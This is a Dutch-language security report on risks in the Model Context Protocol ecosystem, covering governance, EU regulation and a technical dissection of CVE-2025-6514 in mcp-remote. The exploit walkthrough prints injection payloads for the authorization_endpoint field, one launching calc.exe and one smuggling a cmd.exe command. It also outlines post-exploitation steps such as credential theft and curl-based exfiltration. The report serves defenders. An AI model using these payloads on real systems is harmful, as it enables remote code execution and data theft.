Beveiligingsanalyse van het MCP-ecosysteem

by Dennis Landman Agentic Engineer & AI & Cybersecurity Specialist

Deze analyse is een vervolg op eerdere analyses van MCP:
1. Security en privacy risico’s van Model Context Protocol (MCP).
– https://djimit.nl/security-en-privacy-risicos-van-model-context-protocol-mcp/
2. Een analyse van opkomende communicatieprotocollen voor multi-agent AI systemen MCP, A2A, ACP en ANP
– https://djimit.nl/een-analyse-van-opkomende-communicatieprotocollen-voor-multi-agent-ai-systemen-mcp-a2a-acp-en-anp/

Organisaties die het Model Context Protocol (MCP) implementeren, staan voor de complexe taak om een evenwicht te vinden tussen functionaliteit, veiligheid, privacy en compliance.

Samenvatting.

De Model Context Protocol (MCP) standaard heeft zich razendsnel verspreid als “USB-C voor AI toepassingen” een universele brug tussen AI-agenten (LLMs) en externe tools, databases en diensten[1][2]. Deze connectiviteit brengt krachtige nieuwe mogelijkheden, maar introduceert ook aanzienlijke beveiligings-, privacy- en continuïteitsrisico’s. Recente incidenten, met name de kritieke kwetsbaarheid CVE-2025-6514 in de populaire mcp-remote tool, tonen aan hoe een vertrouwde OAuth-proxy in een volledig remote-code-executie (RCE) fiasco kan ontaarden[3][4]. Dit rapport biedt een analyse op strategisch, technisch en toekomstgericht niveau, met nadruk op de Nederlandse context (GDPR/AVG, NIS2, EU AI Act). We combineren concrete kwetsbaarheids casussen met systematische dreigingsmodellering en strategische aanbevelingen.

Bronnen en context.

MCP werd eind 2024 gelanceerd door Anthropic en kent brede adoptie door Big Tech (Microsoft, Google, OpenAI, AWS) en enterprise developers[5]. Er bestaan inmiddels duizenden MCP-servers voor allerlei diensten[6]. Tools als Claude Desktop, VS Code, Cursor en cloudplatforms als Cloudflare, Hugging Face en Auth0 hebben integraties met MCP[7]. De besproken kwetsbaarheid CVE-2025-6514 treft de mcp-remote npm-package (437.000+ downloads)[8][9], wat de potentieel enorme aanvalsoppervlak illustreert. Het Nederlandse Nationaal Cyber Security Centrum (NCSC-NL) wijst op de risico’s van AI-ecosystemen en benadrukt het belang van supply-chain beveiliging, cyberweerbaarheid en soevereiniteit in lijn met de Nederlandse Cybersecurity Strategie 2022-2028.

In het vervolg van dit rapport behandelen we: (1) strategische risico’s en governance voor CISO/CTO’s, (2) diepgaande technische kwetsbaarheids analyse en operationele richtlijnen voor cloud/SRE teams en (3) toekomstige dreigingen, regelgeving en innovatie. Alle bevindingen zijn onderbouwd met actuele bronnen en worden vertaald naar actiegerichte adviezen.

Deel 1: MCP risicobeoordeling

Risico-exposure van MCP-adoptie in enterprises

Voor organisaties brengt MCP-adoptie nieuwe typen risico’s met zich mee die kwantitatief kunnen worden geprofileerd als kans × impact × snelheid. Traditionele risicoanalyses moeten rekening houden met de hoge waarschijnlijkheid van exploits in een wijdverspreide OSS-tool als mcp-remote (437k+ downloads)[8], de kritieke impact van RCE-aanvallen (CVSS 9.6)[9], en de hoge aanvalsnelheid waarmee misbruik zich kan verspreiden in geconnecteerde AI-omgevingen.

• Kans (dreigingfrequentie): Door de open aard van MCP (open standaard, veel community-ontwikkelde servers) ligt de kans op kwetsbaarheden en exploits hoog. CVE-2025-6514 demonstreert hoe snel een onbekende kwetsbaarheid zich tot een grootschalige supply-chain dreiging ontwikkelt[10][7]. Daarnaast verschenen kort na CVE-2025-6514 nog andere kritieke MCP-lekken, zoals CVE-2025-49596 (MCP Inspector) en bugs in Anthropic’s Filesystem MCP Server[11][12], wat duidt op een structureel verhoogd dreigingsniveau in het MCP-ecosysteem.
• Impact (schadeomvang): De impact van een geslaagde MCP-aanval is buitengewoon groot: volwaardige systeem compromittering van ontwikkelomgevingen en clients[13], potentiële diefstal van API-tokens en gevoelige data[14][15], misbruik van verbonden bedrijfsdiensten, en zelfs laterale beweging binnen het netwerk van de organisatie. In het geval van CVE-2025-6514 kon een aanvaller via één malicious server de hosts van ~half miljoen developers in gevaar brengen[10][7]. Voor enterprise en overheid betekent dit risico op organisatie brede ontwrichting, datalekken met GDPR-implicaties en stilvallen van kritieke bedrijfsprocessen.
• Snelheid (aanvalsprogressie): MCP-aanvallen kunnen zich zeer snel ontwikkelen. Een aanvaller hoeft slechts een medewerker te verleiden verbinding te maken met een malafide MCP-server of een interne MCP-server via MITM te kapen[16][17]. Binnen seconden volgt RCE op de client (zoals het ongewenst starten van Powershell-commando’s)[18][19]. Vervolgens kan de aanvaller geautomatiseerd verder gaan met credential dumping (MITRE T1003), file discovery (T1083), exfiltratie van data (T1567), etc. Deze “kill chain” van initial access tot impact kan zich in minuten voltrekken zonder direct opgemerkt te worden. Dit vereist dat organisaties hun detectie- en responssnelheid aanscherpen om bij te blijven.

Risicomatrix: Onderstaand een kwalitatieve risicomatrix voor MCP-adoptie, met inschattingen voor een groote organisatie (1 = laag, 5 = hoog):

• Inbraak via kwetsbare MCP-tool: Kans 5 × Impact 5 = 25 (Kritiek) – Eigenaar: CISO/CTO (actie: noodpatching, pentesting).
• Supply-chain poisoning (malafide pakket): Kans 4 × Impact 5 = 20 (Hoog) – Eigenaar: DevSecOps Lead (actie: SCA, strict package policies).
• Misbruik van OAuth-tokens (credential theft): Kans 3 × Impact 5 = 15 (Hoog) – Eigenaar: IAM Manager (actie: key management, monitoring).
• Privacy-incident (gegevenslek via MCP): Kans 3 × Impact 4 = 12 (Substantieel) – Eigenaar: Privacy Officer (actie: data-anonimisering, DPIA uitvoeren).
• Downtime door MCP-aanval (bedrijfscontinuïteit): Kans 2 × Impact 5 = 10 (Significant) – Eigenaar: COO/BCM Manager (actie: incident response plannen, isolatiefuncties).

Bovenstaande risico’s vereisen board-level aandacht. Aanbevolen wordt een executive risicoregister op te stellen waarin MCP-gerelateerde risico’s expliciet staan met verantwoordelijken, mitigerende maatregelen en benodigde budgetten[20][21]. Gegeven de kritieke score (9.6) en brede impact van CVE-2025-6514, valt MCP-security duidelijk in de hoogste risicocategorie van menig organisatie[9]. Het management moet bereid zijn extra investeringen vrij te maken in security-controls, monitoring en training om deze nieuwe dreiging het hoofd te bieden.

OAuth discovery injectie (CVE-2025-6514) als systemische supply-chain kwetsbaarheid

De kwetsbaarheid CVE-2025-6514 illustreert een nieuw attack-patroon dat verder reikt dan één CVE – het raakt aan fundamentele architectuurkeuzes in MCP en vergelijkbare AI-integraties. Hoewel de exploit technisch begon als een specifieke code-fout (onjuiste inputvalidatie van een OAuth-endpoint URL), heeft het zich ontwikkeld tot een supply-chain issue van de tweede orde: een klein pakketje in de toolchain werd de zwakke schakel die een keten van omgevingen compromitteerde[10][7].

Systemische risico’s: Traditionele CVE-mitigatie (patchen naar v0.1.16[22]) adresseert de individuele fout, maar CVE-2025-6514 onthult grotere thema’s:

• Vertrouwensmodel misvatting: MCP-clients vertrouwden blind op door servers geleverde metadata (zoals authorization_endpoint) zonder die te valideren[23][24]. Dit is een klassiek Confused Deputy-probleem waarin de client optreedt op basis van potentieel vijandige instructies. Het risico strekt zich uit naar alle implementaties die externe instructies vertrouwen – een systemisch ontwerpprobleem.
• Supply-chain impact: Omdat mcp-remote door zoveel ontwikkelaars en platforms is gebruikt (Cloudflare, Auth0, etc. namen het op in documentatie[25][7]), werd de kwetsbaarheid een aanval op de software supply chain zelf. Net als bij SolarWinds of Log4j, waar één component tot wijdverspreide compromittatie leidde, toonde CVE-2025-6514 dat AI-tooling niet gevrijwaard is van supply-chain exploits. Dit is niet hypothetisch: “het was de eerste gedocumenteerde volledige systeemcompromittering via MCP”[26].
• Aanvalsbeeld (kill chain): De exploit doorloopt verschillende MITRE ATT&CK stadia. Allereerst een Drive-by Compromise (T1189): de gebruiker configureert zijn AI-app om een (malicious) externe MCP-server te benaderen, vergelijkbaar met onbewust bezoeken van een malafide site[27][17]. Vervolgens Command Execution (T1059): de malafide authorization_endpoint triggert OS command uitvoering via PowerShell (zoals het starten van calc.exe)[18][19]. Daarna kan de aanvaller persistentie verkrijgen en credenties dumpen (Credential Access – T1003), de file-system verkennen (Discovery – T1083), en data exfiltreren via HTTP/DNS (Exfiltration – T1567). Kortom, deze OAuth injection vormt de sleutel tot het koninkrijk: via één misleiding worden alle lagen van verdediging gepasseerd, van netwerk tot endpoint, wat een systemische dreiging oplevert.
• Trend: breder dan OAuth proxies: Dit patroon kwaadaardige metadata die client-actie uitlokken kan zich voordoen bij andere protocollen. Denk aan malafide OpenID Connect Discovery responses, of gemanipuleerde SAML-metadata. Het overstijgt MCP: iedere integratie waarbij een client externe instructies uitvoert (bijv. open URL in browser) loopt risico als validatie ontbreekt. Deze kwetsbaarheid is een kanarie in de kolenmijn voor supply-chain issues in AI-gekoppelde autorisatie flows.

Supply-chain weerbaarheid: Organisaties dienen deze les ter harte nemen in hun securitystrategie. Alignering met NIST CSF 2.0 (die extra nadruk legt op Supply Chain Risk Management in het Identify-luik[28][29]) is van strategisch belang. Concreet bevelen we aan:

• Uitvoeren van een threat modeling exercise voor AI-integratieketens (MCP) en expliciet opnemen van scenario’s als malicious endpoint injection. Dit vergroot het bewustzijn dat niet alleen de eigen code, maar ook externe afhankelijkheden en interacties een threat vector vormen.
• Penetratietesten & red-teaming van MCP-implementaties, inclusief het opzetten van rogue MCP-servers in een lab om te testen of developers deze per ongeluk verbinden en of detection tools (SIEM, EDR) de daaropvolgende activiteiten oppikken. Dit helpt bij het opsporen van vergelijkbare zero-days voordat aanvallers dat doen.
• Vendor-afhankelijkheid beperken: Overweeg om kritieke MCP-componenten binnen de organisatie te hardenen of alternatieven te ontwikkelen. Bijvoorbeeld, een eigen fork van mcp-remote met strengere validaties, of gebruik van containerized wrappers (zie onder) die de schade beperken mocht een exploit optreden.

De systemische aard van OAuth discovery injectie vraagt ook om samenwerking op ecosysteemniveau. Het opzetten van een early-warning systeem via sectorale ISACs of het NCSC kan helpen om signalen van misbruik vroeg te detecteren en breed te communiceren. Bij een supply-chain aanval die potentieel alle gebruikers raakt, is tijdige waarschuwing cruciaal om “hit-and-run” massaal misbruik (zoals gezien bij Log4j) te voorkomen.

Cloud-soevereiniteit en privacy implicaties (FISA 702, GDPR/AVG, NIS2, EU AI Act)

Nu AI-diensten en MCP-servers vaak in de cloud draaien, krijgen juridische en compliance aspecten meer gewicht. Nederlandse organisaties moeten navigeren tussen enerzijds de voordelen van cloudgebaseerde AI (schaal, snelheid) en anderzijds soevereiniteits- en privacyrisico’s onder EU-wetgeving en geopolitieke dreigingen:

• Cloud-soevereiniteit & FISA 702: Veel MCP-infrastructuur draait op hyperscalers (AWS, Azure, GCP) die onder Amerikaanse jurisdictie vallen. De Amerikaanse FISA 702-wet laat inlichtingsdiensten toe data van niet-Amerikanen bij cloudproviders op te vragen. Dit creëert een soevereiniteitsrisico gevoelige gegevens die via MCP stromen (bv. bedrijfsdocumenten, overheidsdata) zouden theoretisch toegankelijk kunnen zijn voor buitenlandse autoriteiten, in strijd met EU-privacyregels. Nederlandse organisaties (Shared Service Organisaties) moeten dit meewegen bij cloudgebruik. Mitigaties: prioriteer EU-gebaseerde clouds of GDPR-gedragscode-gecertificeerde aanbieders, versleutel data end-to-end zodat cloudproviders geen toegang hebben, en overweeg technisch data-soevereiniteitsoplossingen zoals Keep Your Own Key-implementaties (Azure KMS) waarbij enkel de klant sleutelbeheer doet[30].
• GDPR/AVG naleving: MCP brengt unieke GDPR-uitdagingen. AI-agents kunnen via MCP grote hoeveelheden persoonsgegevens verzamelen, combineren en verwerken. Organisaties moeten zorgen voor rechtmatigheid, doelbinding en minimale gegevensverwerking in deze context. Bijvoorbeeld: loggen MCP-servers persoonsgegevens? Zo ja, moeten die logs beperkt bewaard en goed beveiligd worden. Ook transparantie en toestemming: als een AI assistent via MCP toegang krijgt tot iemands data (email, kalender), moet de gebruiker daarvoor expliciet toestemming geven en de mogelijkheid hebben die in te trekken (denk aan een consent management platform integratie). De rechten van betrokkenen (inzage, correctie, wissen) gelden ook op data die via MCP is verkregen of aangemaakt, wat technisch uitdagend kan zijn als AI’s vrij op data opereren. Organisaties dienen een Data Protection Impact Assessment (DPIA) uit te voeren specifiek voor MCP-toepassingen om privacyrisico’s en maatregelen in kaart te brengen.
• NIS2-richtlijn: Per 2024 vallen meer sectoren (incl. digitale diensten, overheidsdiensten) onder de aangescherpte NIS2 cybersecurity-eisen. MCP-implementaties binnen kritieke of essentiële organisaties moeten voldoen aan “state of the art” beveiliging en incidentrapportageplicht. Dit betekent o.a. sterke authenticatie, netwerkbeveiliging en secure development practices toepassen op MCP-services. Een RCE-incident als CVE-2025-6514 zou onder NIS2 vrijwel zeker als ernstig incident gemeld moeten worden bij toezichthouders, gezien de potentiële impact op continuïteit en vertrouwelijkheid. Proactief moet men NCSC-richtlijnen voor API- en softwareontwikkeling toepassen (zoals inputvalidatie, sandboxing, least privilege), die de meeste MCP-risico’s mitigeren. Overheids-SSO’s kunnen een voortrekkersrol spelen door MCP beveiligingsrichtlijnen op te stellen conform NIS2 en die te delen met aangesloten ministeries en gemeenten.
• EU AI Act conformiteit: De aankomende AI Verordening zal hoge eisen stellen aan “high-risk AI systems” omtrent transparantie, robustness en veiligheid. Een MCP-gestuurd AI-systeem dat bijvoorbeeld kritieke beslissingen neemt of persoonsgegevens verwerkt, kan als hoog-risico gelden. Onder de AI Act wordt verwacht dat er technische documentatie aanwezig is over veiligheidsmechanismen, risicoanalyses en menselijke controleerbaarheid. Voor MCP betekent dit dat men moet aantonen dat de AI agent niet ongecontroleerd gevaarlijke acties kan uitvoeren via MCP (bv. financiële transacties, kritieke infrastructuur aansturen) zonder menselijke goedkeuring – het “human-in-the-loop” principe. Ook moeten er failsafes zijn als de MCP instructies krijgt die kunnen leiden tot onwettige handelingen. Het integreren van Policy-as-Code controles die AI-acties beperken (bv. geen deleties zonder confirmatie) en real-time monitoring van AI-activiteiten zijn manieren om hieraan te voldoen. Privacy by design en security by design – al verplicht onder GDPR – worden ook expliciet beoordeeld onder de AI Act. Organisaties moeten dus vanaf het ontwerpniveau compliance waarborgen, wat we verderop bij compliance by design behandelen.

Conclusie: Door MCP niet louter technisch maar ook juridisch/ethisch te benaderen, kunnen organisaties boetes, reputatieschade en regulatorische sancties voorkomen. Concreet betekent dit strengere contracteisen aan cloudproviders (dat minimaliseren van data-toegang garanderen), interne policies voor AI-gebruik (wat mag wel/niet via MCP, wie heeft toegang), verplichte logging & auditing van MCP-acties voor accountability, en investeren in advies van privacy-juristen bij ontwerp en implementatie van AI-assistenten. Zo kunnen innovatieve AI-koppelingen worden ingezet zonder de kaders van AVG, NIS2 en de AI Act te schenden, een randvoorwaarde voor duurzame toepassing in NL overheids- en bedrijfscontext.

Bedrijfscontinuïteit supply-chain aanvallen op MCP-tools en operationele weerbaarheid

Een MCP-aanval kan de bedrijfscontinuïteit ernstig bedreigen. In scenario’s uit de praktijk zien we dat supply-chain exploits op AI-tools snel kunnen escaleren tot bedrijfskritieke incidenten:

• Uitval van ontwikkelomgevingen: CVE-2025-6514 trof met name AI development setups (Claude Desktop, VS Code plugins etc.[31]). Een massale exploit (bijv. via een worm die malafide MCP-servers advertizeert) zou honderden tot duizenden ontwikkelaars tegelijk kunnen verlammen – hun systemen gecompromitteerd of offline gehaald door EDR/SOC ingrepen. Projectdeadlines komen in gevaar en herstel vergt tijd (systemen herbeelden, credentials resetten). Organisaties moeten Business Continuity Plans (BCP) voorzien van procedures voor “ontwikkelomgeving down” scenario’s. Denk aan: back-up ontwikkelplatforms (bijv. lokale gecontaineriseerde IDE’s als fallback), centraal veilige images om snel nieuwe omgevingen uit te rollen, en isolatie van dev-netwerken zodat productie niet mee getrokken wordt.
• Compromise van CI/CD en broncode: Supply-chain aanvallen op MCP-tools kunnen fungeren als opstapje naar sabotage van de softwareleveringsketen. Een aanvaller met RCE op dev-machines kan source code besmetten (backdoors injecteren), build pipelines compromitteren of signing keys stelen. Dit leidt tot potentieel ongemerkt gemanipuleerde software die naar productie gaat – een nachtmerrie voor continuïteit en integriteit. De bekende SolarWinds-aanval laat zien hoe moeilijk dit te detecteren is en hoe groot de impact kan zijn (klanten downstream geïnfecteerd). Orgs moeten daarom MCP-risico’s betrekken in hun Supply Chain Levels for Software Artifacts (SLSA) maturity: bijvoorbeeld SLSA Level 2-3 eisen verifieerbare build pipelines en dependency provenance, wat de kans verkleint dat een gehackt dev-station de hele keten besmet.
• Herstel en verzekering: Supply-chain incidenten vallen soms buiten traditionele verzekeringspolissen, zeker als ze toe te schrijven zijn aan nalatigheid in patch-management. Nederlandse organisaties dienen met cyberverzekeraars te overleggen of AI/machine-learning gerelateerde incidenten (zoals een MCP exploit) gedekt zijn en welke voorwaarden gelden (bijv. up-to-date houden van software, baseline maatregelen). Bovendien moet een Incident Response plan specifiek ingaan op AI componenten: hebben we forensische data van MCP-servers? Wie contacteren we (bv. Anthropic of open-source maintainers) bij zero-days? NIS2 eist ook dat binnen 24 uur na ontdekking een initiële melding naar de autoriteit gaat bij significante impact – dit vereist vooraf ingestelde criteria en contactlijnen.
• Shared Service Organisaties (SSO): In de context van de Rijksoverheid zijn SSO’s verantwoordelijk voor vitale IT-diensten over meerdere departementen. Een supply-chain aanval op een veelgebruikt MCP-component in de Rijksoverheid kan systemische impact hebben (vergelijkbaar met de Exchange-hack of Citrix-lek destijds die heel overheid trof). SSO’s moeten daarom strengere eisen stellen voordat nieuwe AI-tools worden toegelaten: een Security Assessment uitvoeren (pen-test, code review) van MCP-servers of clients, een goedgekeurde tools whitelist hanteren en tooling centraal distribueren zodat iedereen op veilige versies zit. Tevens dienen ze klaar te staan met een gecoördineerde respons: één SOC-team dat dreigingsinformatie voor alle aangesloten diensten deelt en uniform optreedt (bijv. “deconnecteer onmiddelijk alle externe MCP-verbindingen” bij een incident, om verdere schade te voorkomen).

Resumerend: Bedrijfscontinuïteit in het AI-tijdperk vergt uitbreiding van klassieke BC/DR-plannen met AI supply-chain scenario’s. Door regelmatig chaos engineering drills te doen bijv. simuleren dat MCP-servers compromised zijn en zien hoe snel men ze kan isoleren en functies kan overnemen wordt de weerbaarheid verhoogd. Investeringen in redundante omgevingen, snelle patching (bijv. virtuele patching via WAF/IDS rules voor er een officiële fix is), en het trainen van dev-teams om veilig te handelen (stop werk bij vermoeden van compromise, meld direct) zijn essentieel. Uiteindelijk is proactieve planning goedkoper dan de schade van onvoorbereide downtime of een verloren klantvertrouwen door een supply-chain incident.

Strategische positionering: Zero Trust, NIST CSF 2.0 en SLSA

De opkomst van MCP noopt tot herijking van de strategische security positie van organisaties. MCP raakt aan meerdere hedendaagse security-paradigma’s en frameworks, waaronder Zero Trust Architectuur, NIST Cybersecurity Framework (CSF) 2.0 en Software Supply Chain Security (SLSA). Een sterke positionering betekent deze raamwerken slim inzetten om MCP-risico’s te mitigeren en concurrentievoordeel te behalen:

• Zero Trust Networking (ZTNA): MCP belichaamt de filosofie “verifieer, vertrouw nooit”. AI-agents en MCP-servers moeten communiceren alsof ze extern en potentieel onbetrouwbaar zijn – dit sluit naadloos aan bij Zero Trust. Strategisch kan een organisatie haar AI-infra modelleren als Zero Trust zone, waar authenticatie, autorisatie en context-evaluatie per verzoek gebeuren. Bijvoorbeeld: zelfs een interne MCP-server moet verlangen dat elke client een geldige token presenteert (met mTLS of DPoP, zie later) en alleen minimale autorisaties krijgt. Adoptie van Zero Trust (zoals door microsegmentatie en strikte IdAM) wordt zo een USP richting klanten en toezichthouders, die geruststelling zoeken dat koppelingen met AI veilig zijn. In Nederland kijkt men scherp naar Zero Trust (BZK’s beleidskader Rijk Zero Trust), dus een MCP-architectuur conform Zero Trust principes positioneert de organisatie als voorloper op overheidsbeleid.
• NIST CSF 2.0 en ISO 27001:2022: Deze vernieuwde frameworks benadrukken nu explicieter supply chain risk management en continuous monitoring – precies gebieden die bij MCP spelen. Door MCP-security te mappen op CSF-categorieën (Identify, Protect, Detect, Respond, Recover) ontstaat een holistisch beeld: Identify alle MCP-componenten en bijbehorende risico’s; Protect door policies (PoLP, container sandboxing); Detect via SIEM use-cases voor MCP (ongewone egress, verdachte processen); Respond met kant-en-klare playbooks voor MCP-incidenten; Recover door redeploy uit golden images en token resets. Deze frameworkmatige aanpak geeft management houvast: men kan aantonen dat MCP-risico’s integraal gemanaged worden volgens erkende normen[32][33]. Dit is niet alleen een defensieve zet maar ook compliance-enabler richting audits en klanten. ISO 27001 certificering die AI/MCP controls omvat, kan bijvoorbeeld commerciële klanten geruststellen en concurrentievoordeel bieden in aanbestedingen.
• OWASP Top 10 voor AI / OWASP ASVS-AI: Hoewel nog in ontwikkeling richtlijnen zoals OWASP’s AI Risk Top 10 benoemen bekende valkuilen: prompt injection, data leakage, inadequate sandboxing, enz. Door nu al aan deze punten te werken bijv. MCP-beveiliging insteken op Prompt Injection mitigatie (input sanitization, user confirmation) en Secure Execution (geen onveilige system calls) profileert de organisatie zich als “AI Security Mature”. Dit kan in offertes of communicatie worden benut: men toont dat de AI-diensten veilig door ontwerp zijn (security by design). Afnemers en burgers krijgen zo vertrouwen dat men niet blind de AI-hype volgt maar de risico’s onderkent en adresseert.
• SLSA-framework & software supply chain security: Zoals eerder genoemd vallen MCP-tooling en -servers onder de software supply chain. Door strategisch te investeren in SLSA maatregelen (build provenance, artifact signing, dependency scanning) positioneert de organisatie zich als security-leader. Bijvoorbeeld: het hanteren van een interne MCP-tool catalogus waarin alleen geverifieerde, door DevSecOps goedgekeurde MCP-servers/plugins staan, en deze zijn voorzien van SBOM’s en signatures. Dit reduceert niet alleen risico maar kan een verkoopargument zijn: men kan aantonen dat de AI-integraties van het bedrijf “vertrouwde herkomst” hebben en continu worden gescand op kwetsbaarheden[34][35]. In Europa, waar vertrouwen in digitale autonomie belangrijk is, kan dit een onderscheidende factor zijn.

Concurrentielandschap: Veel bedrijven worstelen nog met AI-security. Een organisatie die nu al Zero Trust AI, NIST CSF integratie en SLSA voor AI omarmt, loopt vooruit op zowel aanvallers als concurrenten. Dit verlaagt de kans op ontwrichtende incidenten (die concurrenten wél kunnen treffen) en vermijdt paniekerige inhaalinvesteringen later. Bovendien creëert het kansen voor nieuwe diensten: men kan de opgedane expertise vermarkten, bv. als advies aan partners of als extra veilige AI-oplossing. De strategische positie moet zijn: “wij zetten AI veilig en verantwoord in aantoonbaar volgens de strengste normen”. Daarmee maakt men AI-innovatie tot een verantwoorde onderneming, wat in lijn is met Nederlandse waarden (veiligheid, privacy) en een sterk verhaal geeft richting zowel klanten als toezichthouders.

Deel 2: MCP architectuur & operaties

In dit deel duiken we dieper in de technische details. We analyseren de kwetsbaarheid CVE-2025-6514 stapsgewijs, behandelen systematische kwetsbaarheidspatronen, en geven uitgebreide richtlijnen voor veilige implementatie van MCP in containeromgevingen, identity management, netwerkbeveiliging, monitoring en privacy. De nadruk ligt op concrete maatregelen (hardening, config voorbeelden, detectieregels) die teams direct kunnen toepassen om MCP-implementaties te beveiligen.

Kwetsbaarheidsanalyse & CVE-2025-6514

CVE-2025-6514: Root cause analyse en exploit-chain

CVE-2025-6514 is een OS Command Injection kwetsbaarheid in de npm-package mcp-remote, veroorzaakt door onvoldoende saneercontrole op de authorization_endpoint URL ontvangen van een (mogelijk malafide) MCP-server[24][18]. We lopen hier de code-path en exploit-chain na, aan de hand van de officiële analyse van JFrog Security Research:

1. Initialisatie van verbinding: Een AI-client (bv. Claude Desktop) start mcp-remote via npx en geeft het remote server adres als parameter (zie config JSON)[36][37]. mcp-remote begint verbinding te maken en krijgt van de server een 401 Unauthorized, wat de client triggert om OAuth te starten.
2. OAuth discovery: De client roept de functie auth.ts: auth() aan, die eerst probeert OAuth metadata van de server op te halen[38][39]. De malafide server stuurt een geldige .well-known/oauth-authorization-server response terug met daarin een gemanipuleerde authorization_endpoint waarde, bv.: {“authorization_endpoint”: “file:/c:/windows/system32/calc.exe”, …}[40]. (Noot: Normaal is dit een HTTPS URL naar de autorisatiepagina; hier misbruikt men het file: schema.)
3. Start autorisatie: De client registreert zich eventueel dynamisch (omgaat niet de exploit) en bereidt dan de autorisatiestap voor. De functie startAuthorization() pakt de authorization_endpoint uit de metadata en construeert een URL object[41][42]. Omdat de waarde begint met file:/, beschouwt de code dit als geldig URL-schema en doet er queryparameters bij (response_type etc.).
4. Browser redirect (kwetsbare stap): Vervolgens roept mcp-remote provider.redirectToAuthorization(authorizationUrl) aan[43][44]. In de implementatie voor NodeJS (NodeOAuthClientProvider.redirectToAuthorization) wordt gebruik gemaakt van het populaire open NPM-pakket om de URL in de browser te openen[45][46]. Cruciaal: open(url) gedraagt zich op Windows anders dan op *nix – het gebruikt PowerShell om het commando uit te voeren. Op Windows zoekt het pad van powershell.exe en voert een encoded command uit dat neerkomt op Start “<gegeven URL>”[19][47].
5. Command injection: In ons geval leidt Start “file:/c:/windows/system32/calc.exe?response_type=code…” ertoe dat PowerShell direct calc.exe opstart op de machine in plaats van een browser te openen[48][49]. Het resultaat is dat op Windows de rekenmachine verschijnt, bewijs dat willekeurige code is uitgevoerd (RCE)[18][50]. Hieronder een illustratie van dit effect:

Het bewijs van exploit een kwaadaardig authorization_endpoint met een file: URI leidt ertoe dat op Windows de calculator (calc.exe) wordt geopend als ongeautoriseerde OS-actie[19][47]. Dit toont hoe een schijnbaar onschuldige OAuth-redirect in werkelijkheid een command injection is die volledige systeemcompromittering mogelijk maakt.

1. Uitbreiding van exploit: Op macOS/Linux was initieel alleen het starten van een lokale executable mogelijk (met beperkte parameters), maar de onderzoekers vonden een manier om dit te escaleren. Door een subexpression in de URL te gebruiken zoals a:$(cmd.exe /c whoami > C:\temp\pwned.txt)?response_type=code… konden ze het ruimte-probleem omzeilen (om parameters mee te geven) en willekeurige shellcommands uitvoeren onder Windows[51][52]. Dit creëerde bijv. een pwned.txt bestand, waarmee ze aantoonden dat ze commando’s als whoami met output konden draaien[53]. Hiermee werd de exploit van “alleen calc starten” opgeschaald naar volledige commando-uitvoering met argumenten.

Root cause: De kernfout is dat mcp-remote ongeldige URI-schemas niet blokkeert en het gebruik van open op Windows een impliciete PowerShell-call doet met hoge vrijheid[19][47]. Er is geen enkele validatie op het formaat of toegestaan schema van de authorization URL een klassieke input validatie fout (CWE-78)[54]. Daarbij is het vertrouwenmodel fout: men ging ervan uit dat een server altijd een eerlijke HTTPS pagina zou opgeven, zonder zich voor te stellen dat een file: of zelfs javascript: URI zou kunnen worden verstrekt. Deze ontwerpfout is de root cause.

Exploit-chain mapping & MITRE ATT&CK mapping

Op basis van bovenstaande dissectie kunnen we de exploit-chain in MITRE ATT&CK termen duiden (voorzie elke stap van de relevante technieken):

• Initial Access – T1189 (Drive-by Compromise): De aanvaller lokt een gebruiker of client-app om verbinding te maken met een malafide MCP-server (bv. via social engineering: “Gebruik mijn handige toolserver”). Hierna heeft de aanvaller een voet tussen de deur doordat het slachtoffer vrijwillig contact maakt met een door de aanvaller gecontroleerde resource[27][17]. In ATT&CK is dit vergelijkbaar met het bezoeken van een kwaadwillige website die een exploit serveert.
• Execution – T1059 (Command and Scripting Interpreter, specifiek T1059.001 PowerShell): De malafide server triggert via het open() mechanisme de uitvoering van OS-commands (PowerShell in dit geval) op de client[18][19]. Dit is remote code execution in pure vorm. Het bijzondere is dat het slachtoffer zelf onbewust het commando initieert (vertrouwend op de software), wat detectie lastiger maakt.
• Persistence – T1546 (Event Triggered Execution): In theorie zou de aanvaller nu persistentie kunnen installeren, bv. door een malafide programma via de exploit te downloaden en in de opstart te plaatsen (Run registry keys e.d.). In ons scenario was dat niet gedaan (PoC beperkte zich tot calc), maar de weg ligt open. Een slim script kan direct RAT-malware pullen en als autorun installeren.
• Privilege Escalation – (mogelijk T1055 Proces Injectie): Als de client-app onder een beperkt account draaide, had de payload kunnen proberen privileges te verhogen. In dev-omgevingen draaien tools echter vaak als user met adminrechten, dus dit stapje is misschien niet eens nodig geweest voor impact.
• Credential Access – T1003 (Credential Dumping): Aangezien de exploit command-uitvoering toestaat, kan de aanvaller tools gebruiken om wachtwoorden of tokens te stelen. Bijvoorbeeld cmdkey op Windows om cached credentials te tonen, of direct geheugendumps maken van de AI-app om API tokens te extraheren. MCP-servers bewaren vaak OAuth-tokens lokaal[14][55], die de aanvaller nu in handen kan krijgen voor vervolgschade (account hijacking van diensten, zie credential leakage elders).
• Discovery – T1083 (File and Directory Discovery): De aanvaller zal de file-system en instellingen verkennen (met commando’s als dir, reg query) om meer over de omgeving te weten. Misschien zoekt hij naar SSH keys, configuratiebestanden of projectcode die waardevol is.
• Lateral Movement – T1021 (Remote Services): Met buitgemaakte credentials of tokens kan de aanvaller zich lateraal bewegen. Bijvoorbeeld: OAuth-tokens kunnen toegang geven tot cloud-API’s; of een gestolen Slack token laat de aanvaller in Slack kanalen komen. Ook kan de RAT van de aanvaller proberen via SMB of RDP verder te komen in het netwerk.
• Collection – T1560 (Archive Data): Gezien AI-dev machines veel code en data bevatten, kan de aanvaller interessante data verzamelen (source code zippen, documenten pakken).
• Exfiltration – T1567 (Exfiltration Over Web Service): Data en informatie kunnen via HTTP(s) of DNS naar buiten worden gesmokkeld. Een simpel voorbeeld: via de exploit curl commando’s draaien om files te POST’en naar de attacker server[56]. Omdat dev-machines internettoegang hebben, is detectie van zulke egress niet triviaal tenzij specifieke monitoring is ingericht.
• Command and Control – T1105 (Ingress Tool Transfer): De aanvaller kan eigen tooling downloaden (bv. via Invoke-WebRequest in PowerShell) om een volwaardig C2-kanaal op te zetten en het slachtoffer station op afstand te bedienen.

Deze chain laat zien dat één initiële exploit als CVE-2025-6514 kan leiden tot een volledige ATT&CK kill chain doorlopen, van initial access tot exfiltration. Dit onderstreept waarom de kwetsbaarheid zo kritiek is het opent de deur voor post-exploit acties die de hele breedte van MITRE ATT&CK beslaan. Voor verdedigers betekent dit dat detectiepunten op meerdere lagen nodig zijn zowel het initiële misbruik (processen openen zoals in Splunk-regel hieronder), als afwijkingen in gedrag erna (bv. nieuwe processen, netwerkconnecties).

